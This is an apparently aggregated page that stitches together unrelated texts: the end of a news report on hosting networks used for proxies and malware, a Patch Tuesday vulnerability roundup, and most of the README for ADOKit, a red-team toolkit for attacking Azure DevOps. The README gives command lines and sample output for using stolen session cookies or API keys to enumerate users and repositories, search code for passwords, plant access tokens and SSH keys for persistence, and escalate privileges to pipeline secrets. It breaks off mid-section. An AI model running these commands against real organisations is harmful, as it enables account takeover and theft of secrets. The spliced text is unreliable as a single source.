Curiously, Stark also lists large tracts of Internet addresses (close to 48,000 in total) assigned to a small ISP in Kharkiv, Ukraine called NetAssist. Reached via email, the CEO of NetAssist Max Tulyev confirmed his company provides a number of services to PQ Hosting.
“We colocate their equipment in Warsaw, Madrid, Sofia and Thessaloniki, provide them IP transit and IPv4 addresses,” Tulyev said. “For their size, we receive relatively low number of complains to their networks. I never seen anything about their pro-Russian activity or support of Russian hackers. It is very interesting for me to see proofs of your accusations.”
Spur.us mapped the entire infrastructure of Proxyline, and found more than one million proxies across multiple providers, but by far the biggest concentration was at Stark Industries Solutions. The full list of Proxyline address ranges (.CSV) shows two other ISPs appear repeatedly throughout the list. One is Kharkiv, Ukraine based ITL LLC, also known as Information Technology Laboratories Group, and Integrated Technologies Laboratory.
The second is a related hosting company in Miami, called Green Floid LLC. Green Floid featured in a 2017 scoop by CNN, which profiled the company’s owner and quizzed him about Russian troll farms using proxy networks on Green Floid and its parent firm ITL to mask disinformation efforts tied to the Kremlin’s Internet Research Agency (IRA). At the time, the IRA was using Facebook and other social media networks to spread videos showing police brutality against African Americans in an effort to encourage protests across the United States.
Doug Madory, director of Internet analysis at Kentik, was able to see at a high level the top sources and destinations for traffic traversing Stark’s network.
“Based on our aggregate NetFlow, we see Iran as the top destination (35.1%) for traffic emanating from Stark (AS44477),” Madory said. “Specifically, the top destination is MTN Irancell, while the top source is Facebook. This data supports the theory that AS44477 houses proxy services as Facebook is blocked in Iran.”
On April 30, the security firm Malwarebytes explored an extensive malware operation that targets corporate Internet users with malicious ads. Among the sites used as lures in that campaign were fake Wall Street Journal and CNN websites that told visitors they were required to install a WSJ or CNN-branded browser extension (malware). Malwarebytes found a domain name central to that operation was hosted at Internet addresses owned by Stark Industries.
Image: threatdown.com
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If only Patch Tuesdays came around infrequently — like total solar eclipse rare — instead of just creeping up on us each month like The Man in the Moon. Although to be fair, it would be tough for Microsoft to eclipse the number of vulnerabilities fixed in this month’s patch batch — a record 147 flaws in Windows and related software.
Yes, you read that right. Microsoft today released updates to address 147 security holes in Windows, Office, Azure, .NET Framework, Visual Studio, SQL Server, DNS Server, Windows Defender, Bitlocker, and Windows Secure Boot.
“This is the largest release from Microsoft this year and the largest since at least 2017,” said Dustin Childs, from Trend Micro’s Zero Day Initiative (ZDI). “As far as I can tell, it’s the largest Patch Tuesday release from Microsoft of all time.”
Tempering the sheer volume of this month’s patches is the middling severity of many of the bugs. Only three of April’s vulnerabilities earned Microsoft’s most-dire “critical” rating, meaning they can be abused by malware or malcontents to take remote control over unpatched systems with no help from users.
Most of the flaws that Microsoft deems “more likely to be exploited” this month are marked as “important,” which usually involve bugs that require a bit more user interaction (social engineering) but which nevertheless can result in system security bypass, compromise, and the theft of critical assets.
Ben McCarthy, lead cyber security engineer at Immersive Labs called attention to CVE-2024-20670, an Outlook for Windows spoofing vulnerability described as being easy to exploit. It involves convincing a user to click on a malicious link in an email, which can then steal the user’s password hash and authenticate as the user in another Microsoft service.
Another interesting bug McCarthy pointed to is CVE-2024-29063, which involves hard-coded credentials in Azure’s search backend infrastructure that could be gleaned by taking advantage of Azure AI search.
“This along with many other AI attacks in recent news shows a potential new attack surface that we are just learning how to mitigate against,” McCarthy said. “Microsoft has updated their backend and notified any customers who have been affected by the credential leakage.”
CVE-2024-29988 is a weakness that allows attackers to bypass Windows SmartScreen, a technology Microsoft designed to provide additional protections for end users against phishing and malware attacks. Childs said one of ZDI’s researchers found this vulnerability being exploited in the wild, although Microsoft doesn’t currently list CVE-2024-29988 as being exploited.
“I would treat this as in the wild until Microsoft clarifies,” Childs said. “The bug itself acts much like CVE-2024-21412 – a [zero-day threat from February] that bypassed the Mark of the Web feature and allows malware to execute on a target system. Threat actors are sending exploits in a zipped file to evade EDR/NDR detection and then using this bug (and others) to bypass Mark of the Web.”
Update, 7:46 p.m. ET: A previous version of this story said there were no zero-day vulnerabilities fixed this month. BleepingComputer reports that Microsoft has since confirmed that there are actually two zero-days. One is the flaw Childs just mentioned (CVE-2024-21412), and the other is CVE-2024-26234, described as a “proxy driver spoofing” weakness.
Satnam Narang at Tenable notes that this month’s release includes fixes for two dozen flaws in Windows Secure Boot, the majority of which are considered “Exploitation Less Likely” according to Microsoft.
“However, the last time Microsoft patched a flaw in Windows Secure Boot in May 2023 had a notable impact as it was exploited in the wild and linked to the BlackLotus UEFI bootkit, which was sold on dark web forums for $5,000,” Narang said. “BlackLotus can bypass functionality called secure boot, which is designed to block malware from being able to load when booting up. While none of these Secure Boot vulnerabilities addressed this month were exploited in the wild, they serve as a reminder that flaws in Secure Boot persist, and we could see more malicious activity related to Secure Boot in the future.”
For links to individual security advisories indexed by severity, check out ZDI’s blog and the Patch Tuesday post from the SANS Internet Storm Center. Please consider backing up your data or your drive before updating, and drop a note in the comments here if you experience any issues applying these fixes.
Adobe today released nine patches tackling at least two dozen vulnerabilities in a range of software products, including Adobe After Effects, Photoshop, Commerce, InDesign, Experience Manager, Media Encoder, Bridge, Illustrator, and Adobe Animate.
KrebsOnSecurity needs to correct the record on a point mentioned at the end of March’s “Fat Patch Tuesday” post, which looked at new AI capabilities built into Adobe Acrobat that are turned on by default. Adobe has since clarified that its apps won’t use AI to auto-scan your documents, as the original language in its FAQ suggested.
“In practice, no document scanning or analysis occurs unless a user actively engages with the AI features by agreeing to the terms, opening a document, and selecting the AI Assistant or generative summary buttons for that specific document,” Adobe said earlier this month.
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Azure DevOps Services Attack Toolkit - ADOKit is a toolkit that can be used to attack Azure DevOps Services by taking advantage of the available REST API. The tool allows the user to specify an attack module, along with specifying valid credentials (API key or stolen authentication cookie) for the respective Azure DevOps Services instance. The attack modules supported include reconnaissance, privilege escalation and persistence. ADOKit was built in a modular approach, so that new modules can be added in the future by the information security community.
Full details on the techniques used by ADOKit are in the X-Force Red whitepaper.
The below 3rd party libraries are used in this project.
| Library | URL | License |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT License |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT License |
Take the below steps to setup Visual Studio in order to compile the project yourself. This requires two .NET libraries that can be installed from the NuGet package manager.
FreshRSS https://api.nuget.org/v3/index.json
Install-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.JsonBelow are the authentication options you have with ADOKit when authenticating to an Azure DevOps instance.
UserAuthentication cookie on a user's machine for the .dev.azure.com domain./credential:UserAuthentication=ABC123/credential:apiTokenThe below table shows the permissions required for each module.
| Attack Scenario | Module | Special Permissions? | Notes |
|---|---|---|---|
| Recon | check | No | |
| Recon | whoami | No | |
| Recon | listrepo | No | |
| Recon | searchrepo | No | |
| Recon | listproject | No | |
| Recon | searchproject | No | |
| Recon | searchcode | No | |
| Recon | searchfile | No | |
| Recon | listuser | No | |
| Recon | searchuser | No | |
| Recon | listgroup | No | |
| Recon | searchgroup | No | |
| Recon | getgroupmembers | No | |
| Recon | getpermissions | No | |
| Persistence | createpat | No | |
| Persistence | listpat | No | |
| Persistence | removepat | No | |
| Persistence | createsshkey | No | |
| Persistence | listsshkey | No | |
| Persistence | removesshkey | No | |
| Privilege Escalation | addprojectadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | removeprojectadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | addbuildadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | removebuildadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | addcollectionadmin | Yes - Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | removecollectionadmin | Yes - Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | addcollectionbuildadmin | Yes - Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | removecollectionbuildadmin | Yes - Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | addcollectionbuildsvc | Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
| |
| Privilege Escalation | removecollectionbuildsvc | Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
| |
| Privilege Escalation | addcollectionsvc | Yes - Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | removecollectionsvc | Yes - Project Collection Administrator or Project Collection Service Accounts
| |
| Privilege Escalation | getpipelinevars | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
| |
| Privilege Escalation | getpipelinesecrets | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
| |
| Privilege Escalation | getserviceconnections | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
|
Perform authentication check to ensure that organization is using Azure DevOps and that provided credentials are valid.
Provide the check module, along with any relevant authentication information and URL. This will output whether the organization provided is using Azure DevOps, and if so, will attempt to validate the credentials provided.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: check
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
==================================================
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
Get the current user and the user's group memberhips
Provide the whoami module, along with any relevant authentication information and URL. This will output the current user and all of its group memberhips.
ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | jsmith@YourOrganization.onmicrosoft. com
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Discover repositories being used in Azure DevOps instance
Provide the listrepo module, along with any relevant authentication information and URL. This will output the repository name and URL.
ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/Projec tWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Search for repositories by repository name in Azure DevOps instance
Provide the searchrepo module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching repository name and URL.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
Discover projects being used in Azure DevOps instance
Provide the listproject module, along with any relevant authentication information and URL. This will output the project name, visibility (public or private) and URL.
ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | http s://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Search for projects by project name in Azure DevOps instance
Provide the searchproject module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching project name, visibility (public or private) and URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
Search for code containing a given keyword in Azure DevOps instance
Provide the searchcode module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching code file, along with the line in the code that matched.
ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password
ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchco de
Search for files in repositories containing a given keyword in the file name in Azure DevOps
Provide the searchfile module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.c s
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
Create a personal access token (PAT) for a user that can be used for persistence to an Azure DevOps instance.
Provide the createpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, date valid til, and token content for the PAT created. The name of the PAT created will be ADOKit- followed by a random string of 8 characters. The date the PAT is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.
ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit- rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
List all personal access tokens (PAT's) for a given user in an Azure DevOps instance.
Provide the listpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, and date valid til for all active PAT's for the user.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:17 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc8308 98 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
Remove a PAT for a given user in an Azure DevOps instance.
Provide the removepat module, along with any relevant authentication information and URL. Additionally, provide the ID for the PAT in the /id: argument. This will output whether the PAT was removed or not, and then will list the current active PAT's for the user after performing the removal.
ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d098903 4da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Create an SSH key for a user that can be used for persistence to an Azure DevOps instance.
Provide the createsshkey module, along with any relevant authentication information and URL. Additionally, provide your public SSH key in the /sshkey: argument. This will output the SSH key ID, name, scope, date valid til, and last 20 characters of the public SSH key for the SSH key created. The name of the SSH key created will be ADOKit- followed by a random string of 8 characters. The date the SSH key is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:\>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
==================================================
Module: createsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 2:51:22 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
List all public SSH keys for a given user in an Azure DevOps instance.
Provide the listsshkey module, along with any relevant authentication information and URL. This will output the SSH Key ID, name, scope, and date valid til for all active SSH key's for the user. Additionally, it will print the last 20 characters of the public SSH key.
ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Remove an SSH key for a given user in an Azure DevOps instance.
Provide the removesshkey module, along with any relevant authentication information and URL. Additionally, provide the ID for the SSH key in the /id: argument. This will output whether SSH key was removed or not, and then will list the current active SSH key's for the user after performing the removal.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:\>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
==================================================
Module: removesshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 1:50:08 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
---------------------------------------------------------------------------------------------------------------------------------------------- -------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
List users within an Azure DevOps instance
Provide the listuser module, along with any relevant authentication information and URL. This will output the username, display name and user principal name.
ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | user1@YourOrganization.onmicrosoft.com
jsmith | John Smith | jsmith@YourOrganization.onmicrosoft.com
rsmith | Ron Smith | rsmith@YourOrganization.onmicrosoft.com
user2 | User 2 | user2@YourOrganization.onmicrosoft.com
4/3/23 20:12:08 Finished execution of listuser
Search for given user(s) in Azure DevOps instance
Provide the searchuser module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching username, display name and user principal name.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:\>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
==================================================
Module: searchuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:23 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | user1@YourOrganization.onmic rosoft.com
user2 | User 2 | user2@YourOrganization.onmicrosoft.com
4/3/23 20:12:24 Finished execution of searchuser
List groups within an Azure DevOps instance
Provide the listgroup module, along with any relevant authentication information and URL. This will output the user principal name, display name and description of group.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:\>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items w ithin the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by t he test controllers set up for this project collection.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only.
[YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
Search for given group(s) in Azure DevOps instance
Provide the searchgroup module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the user principal name, display name and description for the matching group.
ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"
ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, mod ify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of th is group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
List all group members for a given group
